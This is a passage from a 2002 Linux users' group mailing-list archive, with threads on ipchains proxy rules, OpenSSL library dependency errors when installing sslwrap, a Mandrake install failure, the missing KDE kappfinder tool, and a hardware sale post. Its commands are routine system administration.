needed by sslwrap-2.0.5-3 libssl.so.0 is needed by sslwrap-2.0.5-3 Now, openssl is installed and verified. The results of rpm -qa | grep openssl show that both openssl and openssl-devel 0.9.6b-18 are installed. Now, I have noticed that openssl does not seem to install libcrypto.so.0 and libssl.so.0, but it adds the version number to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could this be my issue? Can someone tell me how to fix it? Thanks! Adrian From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:53:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 18:53:37 -0700 Subject: ipchains redirecting In-Reply-To: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> References: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Message-ID: <1024192417.14414.7.camel@barney.azapple.com> specifically reject everything on the internal interface except for that you want to all (your proxy server) /sbin/ipchains -A input -j ACCEPT -i $INTIF -p tcp -s 0.0.0.0/0 -d \ $INTIP proxy_server_port /sbin/ipchains -A input -j REJECT -i $INTIF -s 0.0.0.0/0 -d \ $INTIP RH 7.2, you should be using iptables instead of ipchains. it's a 2.4 kernel. Craig On Sat, 2002-06-15 at 18:35, Sundar Narayanasamy wrote: > Hello, > > I want to force the users on my network to go through my proxy server. What > are the ipchains rules I should add. > > I am using Redhat 7.2 and squid proxy. > > Cheers! > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:06:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Sat, 15 Jun 2002 19:06:55 -0700 (PDT) Subject: Error on the Installation of Mandrake 8.2 Message-ID: <20020616020655.89129.qmail@web20605.mail.yahoo.com> The name is Mario. New to the discussion list and new to Phoenix. I'm having a problem with installing Mandrake 8.2 on my Laptop. I have a ProStar 5190S. I have Mandrake 7.2 on it and it works perfectly. The error that comes up during installation is: "Kernel Panic:VFS: Can't mount the device 01:03." I'm not exactly sure what that means, but I kinda bypassed that problem by just going into Mandrake and doing a live update, then I run in this error message: "Can't open /var/lib/rpm/Packages." I check in that section of my tree, . . . didn't have a Packages directory. I also tried another way with the rpm's, but those had signature errors. So, please, tell me if it's the CD or is it my system. Cause I have NO clue of what to do now. Thanks. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:17:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Sat, 15 Jun 2002 19:17:55 -0700 (MST) Subject: Dependency Problems In-Reply-To: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Message-ID: Adrian, I'm dimly remembering this from a few months ago. I think that it was just a matter of adding an appropriately named symbolic link to libcrypto.so.0.9.6b Something like this (as the root user): cd /lib ln -s libcrypto.so.0.9.6b libcrypto.so.0 In case this doesn't work out, keep a log of what you did so you can back out changes to stuff in thie /lib directory. Careful what you do in /lib, a goof here will render your system in need of repair... Do this: cd /lib ls -l libssl* ls -l libcrypto* and post the results back to the list, maybe that'll jog some memories? - tom e. On Sat, 15 Jun 2002, Adrian Mink wrote: Hello, I am having a problem I hope someone can help with. I am trying to install sslwrap and keep getting the following dependency errors. [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm error: failed dependencies: libcrypto.so.0 is needed by sslwrap-2.0.5-3 libssl.so.0 is needed by sslwrap-2.0.5-3 Now, openssl is installed and verified. The results of rpm -qa | grep openssl show that both openssl and openssl-devel 0.9.6b-18 are installed. Now, I have noticed that openssl does not seem to install libcrypto.so.0 and libssl.so.0, but it adds the version number to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could this be my issue? Can someone tell me how to fix it? Thanks! Adrian ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 02:59:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: 15 Jun 2002 19:59:44 -0700 Subject: Saving a web site local In-Reply-To: <20020615140549.48475f22.derek@gnue.org> References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> Message-ID: <1024196385.31159.4.camel@localhost.localdomain> You have the right idea Derek - go for it. Ssh is just like any service - keep up to date on the patches and you're at a reduced risk. I would argue that just because you don't have shell access doesn't make the server any safer. *cough* wu-ftpd *cough* buffer overflow *cough* On Sat, 2002-06-15 at 14:05, Derek Neighbors wrote: > Maybe I have miscommunicated things here. I never said run rsync > publicly. I meant have a private server use rsync via ssh to get at the > Internet site. Certainly you run ssh on your servers to access them > remotely? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 03:13:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 23:13:39 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> <1024196385.31159.4.camel@localhost.localdomain> Message-ID: <3D0C0263.94F9BA0B@georgetoft.com> Gary Nichols wrote: > > You have the right idea Derek - go for it. > > Ssh is just like any service - keep up to date on the patches and you're > at a reduced risk. > > I would argue that just because you don't have shell access doesn't make > the server any safer. *cough* wu-ftpd *cough* buffer overflow *cough* I agree - just because I don't have it doesn't mean it's not there. My point eas that I don't have it and don't need it. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:04:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Sat, 15 Jun 2002 21:04:04 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> Message-ID: <200206152104.04995@granroth.org> On Saturday 15 June 2002 01:29 pm, foodog wrote: > With previous versions of KDE there was a thing called "appfinder" in > the menu that'd search through the system and add applications to the K > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > 7.3 installed. Thanks much, It's still there. I'm not sure if RH messes with the menu structure at all.. but if they don't, it should be in K Menu -> System -> KAppfinder. Or, you could run it from the command line ('kappfinder'). Or you could do Alt+F2 and run it from there. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:06:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 21:06:44 -0700 Subject: Dependency Problems References: Message-ID: <000701c214eb$3a689e00$0401a8c0@minkland.com> Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and /usr/local/lib pointing back to /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs you memory because I am stumped! lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> libssl.so.0.9.6b -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> libssl.so.0.9.6b [root@linux lib]# ls -l libcrypto* lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> libcrypto.so.0.9.6b -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> libcrypto.so.0.9.6b Thanks. ----- Original Message ----- From: "Tom Emerson" To: "Plug List" Sent: Saturday, June 15, 2002 7:17 PM Subject: Re: Dependency Problems > Adrian, I'm dimly remembering this from a few months ago. I think that it > was just a matter of adding an appropriately named symbolic link to > libcrypto.so.0.9.6b > > Something like this (as the root user): > cd /lib > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > In case this doesn't work out, keep a log of what you did so you can back > out changes to stuff in thie /lib directory. Careful what you do in /lib, > a goof here will render your system in need of repair... > > Do this: > cd /lib > ls -l libssl* > ls -l libcrypto* > > and post the results back to the list, maybe that'll jog some memories? > > - tom e. > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > Hello, > > I am having a problem I hope someone can help with. I am trying to install > sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 > > Now, openssl is installed and verified. The results of rpm -qa | grep > openssl show that both openssl and openssl-devel 0.9.6b-18 > are installed. Now, I have noticed that openssl does not seem to install > libcrypto.so.0 and libssl.so.0, but it adds the version number > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. Could > this be my issue? Can someone tell me how to fix it? > Thanks! > > Adrian > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:18:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 15 Jun 2002 21:18:05 -0700 Subject: Dependency Problems References: <000701c214eb$3a689e00$0401a8c0@minkland.com> Message-ID: <3D0C117D.52AFA3F@qwest.net> rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to > /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs > you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think that it > > was just a matter of adding an appropriately named symbolic link to > > libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can back > > out changes to stuff in thie /lib directory. Careful what you do in /lib, > > a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to install > > sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | grep > > openssl show that both openssl and openssl-devel 0.9.6b-18 > > are installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number > > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? > > Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:19:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 21:19:45 -0700 (PDT) Subject: KDE 3.0 "appfinder" In-Reply-To: <200206152104.04995@granroth.org> Message-ID: On Sat, 15 Jun 2002, Kurt Granroth wrote: > On Saturday 15 June 2002 01:29 pm, foodog wrote: > > With previous versions of KDE there was a thing called "appfinder" in > > the menu that'd search through the system and add applications to the K > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > 7.3 installed. Thanks much, > > It's still there. I'm not sure if RH messes with the menu structure at > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > Or, you could run it from the command line ('kappfinder'). Or you could do > Alt+F2 and run it from there. Hmm... I can't find kappfinder on my RH 7.3 box either... From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:40:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Sat, 15 Jun 2002 23:40:28 -0500 Subject: ipchains redirecting In-Reply-To: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com>; from linux@esaravana.com on Sat, Jun 15, 2002 at 06:35:47PM -0700 References: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Message-ID: <20020615234028.A26648@lilly.csoft.net> I believe all you need to do is allow your proxy access, then deny everyone else. On Sat, Jun 15, 2002 at 06:35:47PM -0700, Sundar Narayanasamy wrote: Hello, I want to force the users on my network to go through my proxy server. What are the ipchains rules I should add. I am using Redhat 7.2 and squid proxy. Cheers! Sundar ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 04:27:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 21:27:34 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: <200206152104.04995@granroth.org> References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> <200206152104.04995@granroth.org> Message-ID: <1024201654.2008.0.camel@barney.azapple.com> On Sat, 2002-06-15 at 21:04, Kurt Granroth wrote: > On Saturday 15 June 2002 01:29 pm, foodog wrote: > > With previous versions of KDE there was a thing called "appfinder" in > > the menu that'd search through the system and add applications to the K > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > 7.3 installed. Thanks much, > > It's still there. I'm not sure if RH messes with the menu structure at > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > Or, you could run it from the command line ('kappfinder'). Or you could do > Alt+F2 and run it from there. > -- Have to agree with Steve...it isn't there in RH 7.3 / KDE 3.0 Craig From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:00:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:00:48 -0700 Subject: KDE 3.0 "appfinder" In-Reply-To: References: Message-ID: <200206152200.53947.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 21:19, Matt Alexander wrote: > On Sat, 15 Jun 2002, Kurt Granroth wrote: > > It's still there. I'm not sure if RH messes with the menu structure at > > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > > Or, you could run it from the command line ('kappfinder'). Or you could > > do Alt+F2 and run it from there. > > Hmm... I can't find kappfinder on my RH 7.3 box either... Just for note, it comes with Mandrake 8.2 (KDE2 and KDE3) with the kdebase package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBuEpNoctRtUIRQRAsXaAJ9UsBoxSD8YxfGi6PH0opFlLcCV7ACfUs4k brnvy5XL32Tdwt54jZDt/Ic= =N/iq -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:03:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:03:21 -0700 Subject: Dependency Problems In-Reply-To: <026e01c214d6$2df0d530$0401a8c0@minkland.com> References: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Message-ID: <200206152203.26866.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 18:36, Adrian Mink wrote: > I am having a problem I hope someone can help with. I am trying to install > sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 Since I haven't seen it mentioned, both of these dependencies are provided by the libopenssl0 package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBwcpNoctRtUIRQRAtlRAKCLM0gS+dS6BVlcVvC6NXCTnrAZVQCeL/Zx h3HlQ55/B0AXY9XrHSin6As= =D3+4 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:08:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 15 Jun 2002 22:08:26 -0700 Subject: Error on the Installation of Mandrake 8.2 In-Reply-To: <20020616020655.89129.qmail@web20605.mail.yahoo.com> References: <20020616020655.89129.qmail@web20605.mail.yahoo.com> Message-ID: <200206152208.30167.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 19:06, Mario Hines wrote: > "Kernel Panic:VFS: Can't mount the device 01:03." > > I'm not exactly sure what that means, but I kinda > bypassed that problem by just going into Mandrake and > doing a live update, then I run in this error message: > > "Can't open /var/lib/rpm/Packages." > > I check in that section of my tree, . . . didn't > have a Packages directory. I also tried another way > with the rpm's, but those had signature errors. So, > please, tell me if it's the CD or is it my system. > Cause I have NO clue of what to do now. Thanks. I don't know how helpful this is, but Packages is a *file*. It apparently comes with the rpm tool and is updated to hold the package info (rpm -qi), if not more. I would try (as root) 'rpm --rebuilddb'. I have never tried this, so don't take my advice too seriously. ;-) I hope this helps. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DB1MpNoctRtUIRQRAvurAJ41bGRsLjCX3iWQIYgx3s1w6vmbzgCghXP3 sBUaziViRCFO2sCeJ0jvRzU= =NKxs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:08:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 15 Jun 2002 22:08:21 -0700 Subject: KDE 3.0 "appfinder" References: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> <200206152104.04995@granroth.org> <1024201654.2008.0.camel@barney.azapple.com> Message-ID: <3D0C1D45.38B89DBE@qwest.net> * Fri Jul 20 2001 Bernhard Rosenkraenzer 2.2-0.cvs20010720.1 - update - get rid of some rpmlint warnings - remove kappfinder (we maintain /etc/X11/applnk) - work around ia64 breakage Changelog for kdebase for RH. > > > With previous versions of KDE there was a thing called "appfinder" in > > > the menu that'd search through the system and add applications to the K > > > menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat > > > 7.3 installed. Thanks much, > > > > It's still there. I'm not sure if RH messes with the menu structure at > > all.. but if they don't, it should be in K Menu -> System -> KAppfinder. > > Or, you could run it from the command line ('kappfinder'). Or you could do > > Alt+F2 and run it from there. > > -- > Have to agree with Steve...it isn't there in RH 7.3 / KDE 3.0 From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:20:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 15 Jun 2002 22:20:39 -0700 Subject: Cleaning house Message-ID: <200206152220.39663.dennisk@sahuaro.f2s.com> I'll have the following items for sale out of my backpack tomorrow at the swap meet. Sony 2x CD-R [feel the speed:-)] - $20 Black floppy drive - $5 Windows NT - $10 Windows 2000 Pro - $20 AMD Duron 1.1Ghz - $20 256Mb Corsair PC2100 DDRRAM - $20 If you don't know me just look for 50ish, beard, green backpack, white straw hat. or call my cellphone. Dennis Kibbe 602-695-0472 mobile From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:31:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 15 Jun 2002 22:31:48 -0700 Subject: IBM PC Camera Message-ID: <200206152231.52590.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just bought an IBM PC Camera at wal-mart on clearance for $12 bucks. It's not real great, but it's fun to play with. Can't go wrong for 12 bucks. So now I need some advice, what do other pluggers use for viewing camera video, and capturing? I've got a desktop with suse 8 on it and it has xawtv, but I'm not really impressed with that. Is there anything you guys prefer? nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9DCLHQ7yNnsYcupwRAq+VAJ4mng6vzYSRuzNMeg6a562DaikrbwCdHSbK O5N5J4GzkNVcTq/u+BvnZ7g= =HUO7 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:19:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Sat, 15 Jun 2002 22:19:12 -0700 (MST) Subject: Dependency Problems In-Reply-To: <3D0C117D.52AFA3F@qwest.net> Message-ID: Hmm, I've got this on a RedHat 7.3: -rwxr-xr-x 1 root root 207008 Apr 4 10:23 libssl.so.0.9.6b lrwxrwxrwx 1 root root 16 Apr 28 02:49 libssl.so.2 -> libssl.so.0.9.6b -rwxr-xr-x 1 root root 23575 Apr 15 06:27 libcrypt-2.2.5.so -rwxr-xr-x 1 root root 924879 Apr 4 10:23 libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 19 Apr 28 02:49 libcrypto.so.2 -> libcrypto.so.0.9.6b lrwxrwxrwx 1 root root 17 May 13 13:26 libcrypt.so.1 -> libcrypt-2.2.5.so Memory jogging, there is always this to try: rpm --nodeps --install sslwrap-2.0.5-3.i386.rpm If the sslwrap goodies work, Bob's your Uncle. If you have coredumps, bad /var/log/messages entries, anything else suspicious, you've got problems. rpm -e sslwrap-2.0.5-3 and try something else. Looks like you've got what's needed, could be that the sslwrap rpm has a dependancy not defined quite right for your distro. (I do remember tripping over this for something like pine, or some other typically included package after I updated a batch of RedHat's back in March .. the zlib flaw if I recall correctly.) - tom e. On Sat, 15 Jun 2002, Kevin Brown wrote: rpm doesn't actually check for the file, just the rpm list for the rpm that contains the file. Try looking on rpmfind to find what packages it depends on. Adrian Mink wrote: > > Thanks, been trying that. I have placed symlinks in /lib, /usr/lib and > /usr/local/lib pointing back to > /lib/libcrypto.so.0.9.6b. No joy. Here are the results anyway, hope it jogs > you memory because > I am stumped! > > lrwxrwxrwx 1 root root 16 Jun 15 18:47 libssl.so.0 -> > libssl.so.0.9.6b > -rwxr-xr-x 1 root root 207008 Apr 4 10:24 libssl.so.0.9.6b > lrwxrwxrwx 1 root root 16 May 24 09:05 libssl.so.2 -> > libssl.so.0.9.6b > [root@linux lib]# ls -l libcrypto* > lrwxrwxrwx 1 root root 19 Jun 15 18:48 libcrypto.so.0 -> > libcrypto.so.0.9.6b > -rwxr-xr-x 1 root root 936514 Apr 4 10:24 libcrypto.so.0.9.6b > lrwxrwxrwx 1 root root 19 May 24 09:05 libcrypto.so.2 -> > libcrypto.so.0.9.6b > > Thanks. > > ----- Original Message ----- > From: "Tom Emerson" > To: "Plug List" > Sent: Saturday, June 15, 2002 7:17 PM > Subject: Re: Dependency Problems > > > Adrian, I'm dimly remembering this from a few months ago. I think that it > > was just a matter of adding an appropriately named symbolic link to > > libcrypto.so.0.9.6b > > > > Something like this (as the root user): > > cd /lib > > ln -s libcrypto.so.0.9.6b libcrypto.so.0 > > > > In case this doesn't work out, keep a log of what you did so you can back > > out changes to stuff in thie /lib directory. Careful what you do in /lib, > > a goof here will render your system in need of repair... > > > > Do this: > > cd /lib > > ls -l libssl* > > ls -l libcrypto* > > > > and post the results back to the list, maybe that'll jog some memories? > > > > - tom e. > > > > On Sat, 15 Jun 2002, Adrian Mink wrote: > > > > Hello, > > > > I am having a problem I hope someone can help with. I am trying to install > > sslwrap and keep getting the following dependency errors. > > > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > > error: failed dependencies: > > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > > libssl.so.0 is needed by sslwrap-2.0.5-3 > > > > Now, openssl is installed and verified. The results of rpm -qa | grep > > openssl show that both openssl and openssl-devel 0.9.6b-18 > > are installed. Now, I have noticed that openssl does not seem to install > > libcrypto.so.0 and libssl.so.0, but it adds the version number > > to the end of the files. So I actually have libcrypto.so.0.9.6b, etc. > Could > > this be my issue? Can someone tell me how to fix it? > > Thanks! > > > > Adrian > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 05:35:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 22:35:06 -0700 Subject: Dependency Problems In-Reply-To: <200206152203.26866.voltage_spike@fastmail.fm> Message-ID: <000001c214f7$927a4740$0801a8c0@bedroom> What is the difference between this and openssl? I know that the libcrypto.so.0 is provided properly if I compile from the openssl source, I am just trying to keep it to RPM's. Adrian -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Voltage Spike Sent: Saturday, June 15, 2002 10:03 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Dependency Problems -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 15 June 2002 18:36, Adrian Mink wrote: > I am having a problem I hope someone can help with. I am trying to > install sslwrap and keep getting the following dependency errors. > > [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm > error: failed dependencies: > libcrypto.so.0 is needed by sslwrap-2.0.5-3 > libssl.so.0 is needed by sslwrap-2.0.5-3 Since I haven't seen it mentioned, both of these dependencies are provided by the libopenssl0 package. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DBwcpNoctRtUIRQRAtlRAKCLM0gS+dS6BVlcVvC6NXCTnrAZVQCeL/Zx h3HlQ55/B0AXY9XrHSin6As= =D3+4 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun 